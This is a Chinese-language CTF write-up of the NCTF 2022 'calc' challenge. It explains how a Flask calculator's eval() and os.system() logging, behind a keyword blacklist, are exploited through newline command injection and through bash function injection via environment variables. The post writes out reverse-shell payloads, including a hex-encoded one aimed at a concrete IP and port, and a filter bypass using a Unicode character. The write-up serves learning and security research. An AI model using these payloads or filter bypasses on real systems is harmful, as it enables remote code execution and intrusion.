[NCTF2022]calc之bash注入

4 分钟

前言

之前有NCTF2022有碰到过一题类似于计算器的题目,当时以为是SSTI,结果发现是os.system()命令执行,但是又没想到怎么绕过,今天在NSS平台又看到了这题,复现一下,学到了不少东西。


[NCTF 2022]calc

  1. 进入题目是一个计算器
    file

    在前端的javascript源代码中不难发现请求的url,令url报错可看到源代码
  2. 原比赛题目程序源代码如下:
@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag
很明显第一种想到的思路就是通过传入num,从而控制log参数,进行os.system()的命令执行,还要满足的一个条件就是eval()不难报错。

这里的绕过方式有通过换行的形式,用单引号或双引号包裹传入的代码,使其成为字符串,满足eval()的正常执行,又能够命令执行。

测试如下:

file

import time
import os
import urllib.parse

ip = '127.0.0.1'
num = urllib.parse.unquote('%0A%22whoami%22%0A')
print('num:\n'+num)
log = "echo {0} {1} {2}> log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
data = eval(num)
os.system(log)

file

可以看到确实执行了id命令,那么就可以通过这种方式进行反弹shell或者curl外带从而得到flag。

以上解法是非预期解,在NSS复现的时候源码是被修改了,直接去除了num,导致log参数不可控

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag
这里就是需要使用预期解来进行,预期解与P神的一篇环境变量注入导致命令执行的文章有关。

文章链接:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

根据P神的解释,主要与一段bash的一段源代码有关:

for (string_index = 0; env && (string = env[string_index++]); ) {
    name = string;
    // ...

    if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))
    {
        size_t namelen;
        char *tname;        /* desired imported function name */

        namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

        tname = name + BASHFUNC_PREFLEN;    /* start of func name */
        tname[namelen] = '\0';      /* now tname == func name */

        string_length = strlen (string);
        temp_string = (char *)xmalloc (namelen + string_length + 2);

        memcpy (temp_string, tname, namelen);
        temp_string[namelen] = ' ';
        memcpy (temp_string + namelen + 1, string, string_length + 1);

        /* Don't import function names that are invalid identifiers from the
         environment in posix mode, though we still allow them to be defined as
         shell variables. */
        if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
            parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
        else
            free (temp_string);     /* parse_and_execute does this */
        //...
    }
}
privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN ("() {", string, 4),环境变量的值前4个字符等于() {
主要的payload如下:env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc',即传入了一个环境变量,
使得bash添加了一个myfunc函数并执行,执行了id的命令。

在python中,可以利用eval函数进行环境变量的覆盖,再联合以上的payload进行命令执行。

测试如下:

import os
a={"test":'aaaa'}
for os.environ['test'] in['TESTTESTTEST']:
    pass
print(os.environ['test'])

file

当使用上list生成器和中括号后,就可以进行变量覆盖的同时,又返回一个str,没有进行执行。

import os
a={"test":'aaaa'}
print([[str][0]for[os.environ['test']]in[['TESTTESTTEST']]])
print(os.environ['test'])
那么就可以通过这种方式注入环境变量,使得被bash执行,payload如下:
[strfor[os.environ['BASH_FUNC_echo%%']]in[['() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}']]]

剩下最后的就是绕过waf,这里的waf需要绕过os,空格等,同样再绕过SSTI的时候我们知道,在python中用单引号和双引号
包裹的字符是能够识别十六进制字符串的,因此可以变成十六进制字符串绕过,绕过os,则可以变成utf8非ascii字符格式,
从而达到统一格式变成os。

file

最终payload:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x30\x2e\x37\x39\x2e\x32\x39\x2e\x31\x37\x30\x2f\x36\x36\x36\x36\x20\x30\x3e\x26\x31\x3b\x7d']]]

file

总结

比赛时非预期解主要通过换行绕过eval的报错,预期解涉及到了不少的tricks,包括python的变量覆盖和系统底层通过注入环境变量来getshell,学到很多。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:[NCTF2022]calc之bash注入
文章链接:https://aiwin.fun/index.php/archives/1427/
最后编辑:2024 年 1 月 4 日 17:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 3 + 8 =
快来做第一个评论的人吧~